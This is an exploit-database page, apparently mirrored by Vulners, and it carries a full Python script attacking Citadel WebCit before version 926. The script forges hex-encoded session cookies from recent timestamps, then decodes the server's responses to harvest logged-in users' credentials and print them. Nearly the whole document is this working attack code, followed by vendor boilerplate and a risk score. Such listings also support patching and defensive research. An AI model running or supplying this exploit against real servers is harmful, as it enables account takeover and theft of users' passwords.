Lucene search
K

Citadel WebCit < 926 - Session Hijacking Exploit

🗓️ 30 Oct 2020 00:00:00Reported by Simone QuatriniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 597 Views

Citadel WebCit < 926 - Session Hijacking Exploit by Simone Quatrini using Python

Code
# Exploit Title: Citadel WebCit < 926 - Session Hijacking Exploit
# Exploit Author: Simone Quatrini
# Version: 926

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


parser = argparse.ArgumentParser(description="Webcit <= 926 Session Hijacking")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8080/")
parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")
args = parser.parse_args()

url = args.url
verbose = args.verbose


def check_endpoint(url):
	headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
	response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)
	if response.status_code == 200:
		print("[+] WebCit is reachable\n")
	else:
		print("\n[-] WebCit response code: ", response.status_code)
		sys.exit()
		
def harvesting(url, verbose):
	#Current Timestamp
	epoch_time = int(time.time())
	#harvesting technique only search for user that logged-in within the last ~20 minutes.
	#increase the search_back_in variable's number to search even backwards (it will require more time and requests)
	#Also, make sure that you're using the same timezone of the server
	search_back_in = 999
	print("[/] Credential harvesting in progress...")
	while search_back_in > 0:
		payload = str(epoch_time-search_back_in)+'|||||'
		payload_hex = payload.encode(encoding='utf_8').hex()
		headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36','Cookie':'webcit='+payload_hex+''}
		response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)
		try:
			cookievalue = bytes.fromhex(response.cookies['webcit'])
			cookievalue = cookievalue.decode(encoding='utf_8')
			parts = cookievalue.split('|')
			
			if ((len(parts[1])) and (len(parts[2]))):
				print("Credential found: ", cookievalue)
			
		except:
			if(verbose):
				print("[-] Invalid returned cookie value not valid, skipping")
		search_back_in = search_back_in - 1
	print("[+] Credential harvesting done.")
	
# Default actions if only '--url' is passed
check_endpoint(url)
harvesting(url, verbose)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Oct 2020 00:00Current
7.4High risk
Vulners AI Score7.4
597